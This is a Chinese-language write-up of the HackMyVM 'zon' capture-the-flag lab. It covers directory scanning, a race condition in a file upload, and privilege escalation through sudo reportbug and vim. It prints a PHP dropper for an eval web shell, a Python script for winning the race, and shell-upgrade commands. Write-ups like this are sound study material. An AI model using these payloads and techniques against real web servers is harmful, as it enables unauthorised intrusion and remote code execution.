hackmyvm靶场--zon

环境

攻击机kali

靶机

未知

主机探测

因为在同一个局域网内使用ARP协议探测存活主机

靶机为192.168.56.128

端口探测

常见的80和22端口

那么一定是寻找web漏洞拿shell了

后台扫描

后台扫描常用dirsearch和gobuster,有时候小字典可能不太行,可以尝试换个大点的字典试试

shell 复制代码
gobuster dir -w /var/www/html/dict/directory-list-lowercase-2.3-medium.txt -u http://192.168.56.128 -t 200 -x php,zip,jsp,asp,bak,jpg,png,mp4,mkv,txt,html,md,git,7z,rar,db,log,docx,xlsx -b 400-404,500

扫出一个后台目录choose.php,并且发现了uploads目录,猜测是文件上传

发现需要上传zip文件,里面是jpeg文件

先上传个正常的

查看一下uploads目录

可以正常访问

想要利用文件上传来拿到shell无非需要满足两个条件

1、成功上传木马文件

2、服务端可以解析该文件

这时,我们上传一个php的木马试试,我的压缩包里面放了一个php文件

结果显示给文件不是jpeg,会被删除

删除两个字,哈哈,让我想到了文件上传的常见考点--条件竞争

我们猜测服务器处理php文件是这样的,当我们在浏览器点击上传键的时候,服务器会先把文件上传到一个目录下,此靶机就是前面找到的uploads目录,然后服务器的脚本代码会对文件的后缀名进行检查,若不是jpeg,那么就会删除,而条件竞争就是利用服务器判断的间隙访问木马文件,在此间隙中,木马已经在服务器中,只不过还来不及判断删除就被我们访问到了,具体的知识涉及到多线程。

实现步骤:

首先准备create-shell.php这个炮灰shell文件,里面写一下代码

php 复制代码
<?php fwrite(fopen('shell.php','w'),'<?php @eval($_POST[11]);?>');?>

开启一个访问的Python脚本,作用为验证shell是否成功上传

python 复制代码
import requests


url1 = "http://127.0.0.1/upload/upload/create-shell.php"    # 定义访问 creat-shell.php
url2 = "http://127.0.0.1/upload/upload/shell.php"   
# 定义访问 shell.php

while True:  # 定义死循环
    html1 = requests.get(url1)  # 请求 create-shell.php
    html2 = requests.get(url2)  # 请求 shell.php
    if html2.status_code == 200:  # 如果 shell.php 返回的http状态码为200
        print('Good job,Win Win Win')  # 打印 Good job.....
        break
        

上传该文件并且使用burp抓包

在最下面输入数字1作为我们的爆破点

接着设置payload

把刚才的1遍历到1000,实现的结果就是burp会发送一摸一样的文件1000次,实现了对服务器的爆破

先运行Python脚本,随后开启burp的爆破模式,一段时间后成功竞争到该文件,说明shell已经成功上传

提权

拿到shell

因为蚁剑环境下不是一个真实的shell,需要我们重新反弹一个

升级shell

/usr/bin/script -qc /bin/bash /dev/null

在网站目录下发现了upload.php上传逻辑点,可以发现服务器确实是先上传了文件后进行判断删除

在网站的目录下发现了一个hashDB.sh的bash脚本,功能它自己写了,验证数据库的完整性

发现了mysqldump -u admin -p这段代码

尝试登录,成功

ssh登录freddie

拿到user.txt

sudo查看发现reportbug有提权的可能性

file /usr/bin/reportbug

python可执行脚本

以root运行

sudo reportbug

一段乱输之后发现有一个vim编辑器提权

拿下root.txtTOC]

相关推荐
一人一萧十只猫�3 小时前
Linux SSH 远程连接全攻略:从加密原理到实战配置(含图解)
linux·服务器·网络
人间不清醒ab3 小时前
Ubuntu ping网络没有问题,但是浏览器无法访问到网络
linux·运维·ubuntu
babytiger4 小时前
为 Windows 和 Ubuntu 中设定代理服务器的详细方法
linux·windows·ubuntu
默心4 小时前
centos把jar包配置成服务并设置开机自启
linux·centos·jar
秦jh_4 小时前
【Linux网络】传输层协议UDP
linux·运维·服务器·网络·udp
饼干ovo5 小时前
Linux下软件安装实战
linux·运维·服务器
2302_799525745 小时前
【Linux】第十八章 调优系统性能
linux·运维·服务器
特立独行的猫a5 小时前
linux下的 xargs命令使用详解
linux·服务器·网络·linux命令·xargs
不二一5 小时前
linux c++头文件生成源文件 使用python脚本 配置vim快捷键
linux·c++·python
咖喱年糕5 小时前
【VMware】虚拟机运行 Linux Ubuntu、MAC 安装和配置
linux·ubuntu·macos·ssh·vmware·unlocker·vmware tools